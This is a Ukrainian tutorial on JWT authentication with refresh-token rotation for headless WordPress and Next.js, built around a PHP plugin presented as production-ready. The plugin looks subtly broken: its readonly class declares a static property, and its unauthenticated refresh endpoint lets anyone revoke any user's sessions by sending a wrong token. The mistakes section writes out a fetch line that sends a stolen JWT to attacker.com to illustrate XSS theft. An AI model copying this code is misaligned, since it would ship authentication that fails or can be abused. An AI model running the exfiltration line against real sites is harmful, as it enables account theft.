У класичній монолітній архітектурі WordPress аутентифікація спирається на сесійні кукі (wordpress_logged_in_<hash>) та синхронну перевірку Nonce-токенів (X-WP-Nonce), прив'язаних до того самого домену. У розподіленій Headless-архітектурі (коли фронтенд на Next.js 16, мобільний додаток на iOS/Android або зовнішній мікросервіс працюють на окремих доменах) стандартні кукі ядра не можуть використовуватися безпосередньо через політики SameSite та обмеження CORS.
Сучасна enterprise-інфраструктура аутентифікації у WordPress 7.0+ поділяється на два спеціалізовані протоколи:
sub — ID користувача, iat, exp, jti — унікальний ID токена). Перевіряється WordPress у пам'яті на фільтрі determine_current_user без звернення до бази даних.wp_usermeta. При кожному оновленні пари токенів старий Refresh Token негайно інвалідується. Спроба повторного використання старого токена сигналізує про крадіжку та миттєво анулює всі сесії користувача.httpOnly Cookie Layer: Токени ніколи не передаються в localStorage браузера. Route Handler у Next.js приймає JWT від WordPress та упаковує його в захищену куку httpOnly; Secure; SameSite=Lax, повністю унеможливлюючи крадіжку токена через XSS.WP_Application_Passwords): Вбудована в ядро (з WP 5.6+) система окремих 24-символьних паролів додатків, що хешуються через bcrypt (wp_hash_password) і передаються через заголовок Authorization: Basic base64(user:app_password) виключно поверх TLS/HTTPS.Аутентифікацію в Headless WordPress слід сприймати як дворівневий криптографічний щит: браузер взаємодіє із сервером Next.js через недоступні для JavaScript httpOnly кукі, а сервер Next.js спілкується з ядром WordPress внутрішнім каналом через короткоживучі заголовки Authorization: Bearer <JWT>.
[Браузер Клієнта] ──(1. POST /api/auth/login)──► [Next.js 16 BFF Route Handler]
▲ │
│ (4. Set-Cookie: httpOnly; Secure; SameSite=Lax) │ (2. POST /wp-json/agentic-lab/v1/auth/token)
│ JavaScript НЕ БАЧИТЬ токен (Захист від XSS!) ▼
│ [WordPress 7.0 Auth Engine]
│ ├── Перевірка wp_authenticate() (bcrypt)
│ ├── Генерація Access JWT (TTL: 15m, HMAC-SHA256)
└────────────────────────────────────────────┴── Генерація Refresh Token (JTI в Redis/usermeta)
[Подальший запит даних із React Server Component]:
[Next.js Server Component] ──(Читає httpOnly Cookie)──► Додає Authorization: Bearer <JWT>
│
▼
[WP Фільтр: determine_current_user]
├── Валідація HMAC-підпису в постійний час (hash_equals)
├── Перевірка exp > time()
└── wp_set_current_user($payload->sub)Перевірка облікових даних через wp_authenticate() із захистом від брутфорсу та генерацією пари Access + Refresh токенів.
Формування JWT (Header.Payload.Signature) з алгоритмом HS256/EdDSA та записом хешу Refresh JTI у сховище.
Сервер Next.js перехоплює токени та зберігає їх у браузер суворо в httpOnly + Secure куках.
При API-запиті фільтр determine_current_user перевіряє підпис JWT через hash_equals() за 0.05 мс без читання БД.
Після закінчення 15 хвилин BFF обмінює Refresh-токен на нову пару. Повторне використання старого JTI блокує акаунт.
cookies().set('wp_access_token', jwt, { httpOnly: true, secure: true }))._token_version) або списку відкликаних jti в Redis, що дозволяє заблокувати вкрадений JWT за 1 мілісекунду при зміні пароля або натисканні «Вийти з усіх пристроїв».hash_equals($expectedSignature, $providedSignature)), що виключає побайтовий підбір HMAC-ключа за часом відповіді сервера.Порівняємо три основні механізми аутентифікації API в екосистемі WordPress:
Нижче представлено самодостатній production-ready модуль на PHP 8.4+ (без важких сторонніх бібліотек), що реалізує стандарт RFC 7519 (HMAC-SHA256), захист від Timing-атак (hash_equals), перевірку версії токена для миттєвого відкликання всіх сесій та інтеграцію із системними фільтрами determine_current_user та rest_authentication_errors.
<?php
/**
* Plugin Name: Fullstack Agentic Lab — Enterprise JWT & Refresh Rotation Gateway
* Description: Криптографічна аутентифікація RFC 7519 (HMAC-SHA256) з ротацією Refresh-токенів для Headless WP.
* Version: 2.1.0
* Author: Artur Yusupov (Fullstack Agentic Lab)
*/
declare(strict_types=1);
namespace AgenticLab\Core\Auth;
use WP_Error;
use WP_REST_Request;
use WP_REST_Response;
use WP_REST_Server;
if (!defined('ABSPATH')) {
exit;
}
final readonly class EnterpriseJwtGateway
{
private const ACCESS_TOKEN_TTL = 900; // 15 хвилин
private const REFRESH_TOKEN_TTL = 604800; // 7 діб
private const META_REFRESH_HASH = '_agentic_refresh_token_hash';
private const META_TOKEN_VERSION = '_agentic_token_version';
private static ?WP_Error $authError = null;
public static function init(): void
{
add_filter('determine_current_user', self::authenticateBearerRequest(...), 20);
add_filter('rest_authentication_errors', self::reportAuthenticationErrors(...));
add_action('rest_api_init', self::registerAuthRoutes(...));
// Автоматична інвалідація всіх виданих JWT при зміні пароля користувачем!
add_action('after_password_reset', static function (\WP_User $user): void {
self::revokeAllUserTokens((int) $user->ID);
});
}
public static function registerAuthRoutes(): void
{
register_rest_route('agentic-lab/v1', '/auth/token', [
'methods' => WP_REST_Server::CREATABLE,
'callback' => self::issueTokenPair(...),
'permission_callback' => '__return_true',
'args' => [
'username' => ['type' => 'string', 'required' => true, 'sanitize_callback' => 'sanitize_user'],
'password' => ['type' => 'string', 'required' => true],
],
]);
register_rest_route('agentic-lab/v1', '/auth/refresh', [
'methods' => WP_REST_Server::CREATABLE,
'callback' => self::rotateTokenPair(...),
'permission_callback' => '__return_true',
'args' => [
'user_id' => ['type' => 'integer', 'required' => true, 'sanitize_callback' => 'absint'],
'refresh_token' => ['type' => 'string', 'required' => true, 'sanitize_callback' => 'sanitize_text_field'],
],
]);
}
/**
* 1. Випуск нової пари Access JWT + одноразовий Refresh Token.
*/
public static function issueTokenPair(WP_REST_Request $request): WP_REST_Response|WP_Error
{
$user = wp_authenticate(
(string) $request->get_param('username'),
(string) $request->get_param('password')
);
if (is_wp_error($user)) {
return new WP_Error(
'agentic_invalid_credentials',
'Невірні облікові дані користувача.',
['status' => 401]
);
}
return rest_ensure_response(self::generateAndPersistPair((int) $user->ID));
}
/**
* 2. Ротація Refresh-токена з детекцією повторного використання (Token Reuse Detection).
*/
public static function rotateTokenPair(WP_REST_Request $request): WP_REST_Response|WP_Error
{
$userId = (int) $request->get_param('user_id');
$rawRefresh = (string) $request->get_param('refresh_token');
$storedHash = (string) get_user_meta($userId, self::META_REFRESH_HASH, true);
$incomingHash = hash('sha256', $rawRefresh);
if ($storedHash === '' || !hash_equals($storedHash, $incomingHash)) {
// Детекція аномалії: можлива крадіжка Refresh-токена! Анулюємо всі сесії користувача.
self::revokeAllUserTokens($userId);
return new WP_Error(
'agentic_refresh_reuse_detected',
'Виявлено спробу повторного використання недійсного Refresh-токена. Усі сесії скинуто.',
['status' => 401]
);
}
return rest_ensure_response(self::generateAndPersistPair($userId));
}
/**
* 3. Перехоплення та криптографічна перевірка заголовка Authorization: Bearer <JWT>.
*/
public static function authenticateBearerRequest(int|bool $currentUserId): int|bool
{
if (!empty($currentUserId)) {
return $currentUserId;
}
$authHeader = (string) ($_SERVER['HTTP_AUTHORIZATION'] ?? $_SERVER['REDIRECT_HTTP_AUTHORIZATION'] ?? '');
if (!str_starts_with($authHeader, 'Bearer ')) {
return $currentUserId;
}
$jwt = trim(substr($authHeader, 7));
$parts = explode('.', $jwt);
if (count($parts) !== 3) {
self::$authError = new WP_Error('jwt_malformed', 'Некоректний формат JWT.', ['status' => 401]);
return false;
}
[$headerB64, $payloadB64, $signatureB64] = $parts;
$expectedSig = self::base64UrlEncode(
hash_hmac('sha256', $headerB64 . '.' . $payloadB64, self::getSecretKey(), true)
);
// Порівняння в постійний час (захист від Timing Attacks)
if (!hash_equals($expectedSig, $signatureB64)) {
self::$authError = new WP_Error('jwt_bad_signature', 'Цифровий підпис JWT недійсний.', ['status' => 401]);
return false;
}
$payload = json_decode(self::base64UrlDecode($payloadB64), true);
if (!is_array($payload) || (int) ($payload['exp'] ?? 0) < time()) {
self::$authError = new WP_Error('jwt_expired', 'Термін дії Access-токена минув.', ['status' => 401]);
return false;
}
$userId = (int) ($payload['sub'] ?? 0);
$tokenVer = (int) ($payload['ver'] ?? 1);
$currentVer = max(1, (int) get_user_meta($userId, self::META_TOKEN_VERSION, true));
if ($tokenVer !== $currentVer) {
self::$authError = new WP_Error('jwt_revoked', 'Токен було відкликано системою безпеки.', ['status' => 401]);
return false;
}
return $userId;
}
public static function reportAuthenticationErrors(mixed $result): mixed
{
if (!empty($result)) {
return $result;
}
return self::$authError ?? $result;
}
public static function revokeAllUserTokens(int $userId): void
{
$ver = max(1, (int) get_user_meta($userId, self::META_TOKEN_VERSION, true));
update_user_meta($userId, self::META_TOKEN_VERSION, $ver + 1);
delete_user_meta($userId, self::META_REFRESH_HASH);
}
/**
* @return array<string, mixed>
*/
private static function generateAndPersistPair(int $userId): array
{
$now = time();
$ver = max(1, (int) get_user_meta($userId, self::META_TOKEN_VERSION, true));
$header = self::base64UrlEncode((string) wp_json_encode(['alg' => 'HS256', 'typ' => 'JWT']));
$payload = self::base64UrlEncode((string) wp_json_encode([
'iss' => home_url(),
'sub' => $userId,
'iat' => $now,
'exp' => $now + self::ACCESS_TOKEN_TTL,
'ver' => $ver,
'jti' => bin2hex(random_bytes(8)),
]));
$signature = self::base64UrlEncode(
hash_hmac('sha256', $header . '.' . $payload, self::getSecretKey(), true)
);
$rawRefreshToken = bin2hex(random_bytes(32));
update_user_meta($userId, self::META_REFRESH_HASH, hash('sha256', $rawRefreshToken));
return [
'access_token' => $header . '.' . $payload . '.' . $signature,
'refresh_token' => $rawRefreshToken,
'expires_in' => self::ACCESS_TOKEN_TTL,
'token_type' => 'Bearer',
'user_id' => $userId,
];
}
private static function getSecretKey(): string
{
if (defined('JWT_AUTH_SECRET_KEY') && is_string(JWT_AUTH_SECRET_KEY) && strlen(JWT_AUTH_SECRET_KEY) >= 32) {
return JWT_AUTH_SECRET_KEY;
}
return wp_salt('auth') . wp_salt('secure_auth');
}
private static function base64UrlEncode(string $data): string
{
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
private static function base64UrlDecode(string $data): string
{
return (string) base64_decode(strtr($data, '-_', '+/'));
}
}
EnterpriseJwtGateway::init();У чому суть помилки: Клієнтський React-код зберігає отриманий токен через localStorage.setItem('jwt', token) і прикріплює його до запитів із браузера.
Чому розробники так роблять: Найпростіший спосіб зберегти стан між перезавантаженнями вкладки без налаштування серверних кук.
Що відбувається в продакшені: Будь-яка XSS-вразливість (навіть у сторонньому скрипті аналітики, чату підтримки або npm-пакеті) дозволяє зловмиснику виконати один рядок fetch('https://attacker.com/?t=' + localStorage.getItem('jwt')) і викрасти акаунти всіх активних користувачів.
Як правильно: Використовувати Next.js Route Handlers / Server Actions як BFF-проксі: зберігати JWT виключно в httpOnly; Secure; SameSite=Lax куках, до яких document.cookie та localStorage не мають фізичного доступу.
У чому суть помилки: Встановлення часу життя основного JWT (exp) у time() + MONTH_IN_SECONDS без використання Refresh-токенів та без перевірки версії токена (ver).
Чому розробники так роблять: Небажання реалізовувати ендпоінт /auth/refresh для безшовного оновлення сесії.
Що відбувається в продакшені: Навіть якщо скомпрометований користувач помітить злам та змінить пароль в особистому кабінеті, вкрадений JWT продовжить безперешкодно працювати ще 30 днів, оскільки його підпис і термін exp залишаються валідними.
Як правильно: Обмежувати життя Access JWT 10–15 хвилинами, використовувати одноразові ротовані Refresh-токени та інкрементувати _agentic_token_version користувача при будь-якому скиданні пароля.
У чому суть помилки: Перевірка підпису токена через звичайне рядкове порівняння if ($expectedSignature === $userSignature).
Чому розробники так роблять: Незнання особливостей роботи побайтового порівняння рядків у мові C (ядро PHP).
Що відбувається в продакшені: Оператор === припиняє порівняння на першому ж невідповідному байті. Вимірюючи наносекундні різниці в часі відповіді сервера (Timing Side-Channel Attack), атакуючий може послідовно підібрати валідний HMAC-підпис для будь-якого user_id.
Як правильно: Завжди використовувати функцію hash_equals($knownString, $userString), яка гарантує однаковий час виконання незалежно від позиції розбіжності символів.
У чому суть помилки: Запис у масив $payload приватних API-ключів користувача, номера телефону, хешу пароля або персональних даних (PII).
Чому розробники так роблять: Помилкове уявлення про те, що JWT «зашифрований» секретним ключем.
Що відбувається в продакшені: Стандартний JWT (JWS) НЕ зашифрований — його Header і Payload просто закодовані у відкритий формат Base64Url! Будь-яка людина або проміжний проксі може декодувати другу частину токена через atob() та прочитати весь вміст.
Як правильно: Зберігати в Payload виключно мінімальні технічні ідентифікатори (sub, iat, exp, ver, jti), що не містять персональних даних.
Next.js BFF передає логін та пароль у WordPress. Ядро перевіряє bcrypt-хеш та випускає пару Access + Refresh токенів.
Хеш Refresh-токена (SHA-256) зберігається у профілі користувача.
Сервер Next.js встановлює куки з прапорцями httpOnly, Secure та SameSite=Lax, приховуючи токени від клієнтського JS.
Повністю блокує вектор крадіжки сесії через міжсайтовий скриптинг (XSS).
При запитах до WP REST API / WPGraphQL фільтр перевіряє HMAC-підпис через hash_equals() та версію токена.
Встановлює контекст користувача для всіх наступних перевірок permission_callback.
Кожні 15 хвилин BFF обмінює Refresh-токен на нову пару, миттєво знищуючи старий хеш у базі.
Забезпечує безперервну сесію користувача без повторного введення пароля.
Якщо зловмисник намагається використати вже погашений Refresh-токен, система інкрементує token_version.
Усі активні Access та Refresh токени даного користувача миттєво анулюються.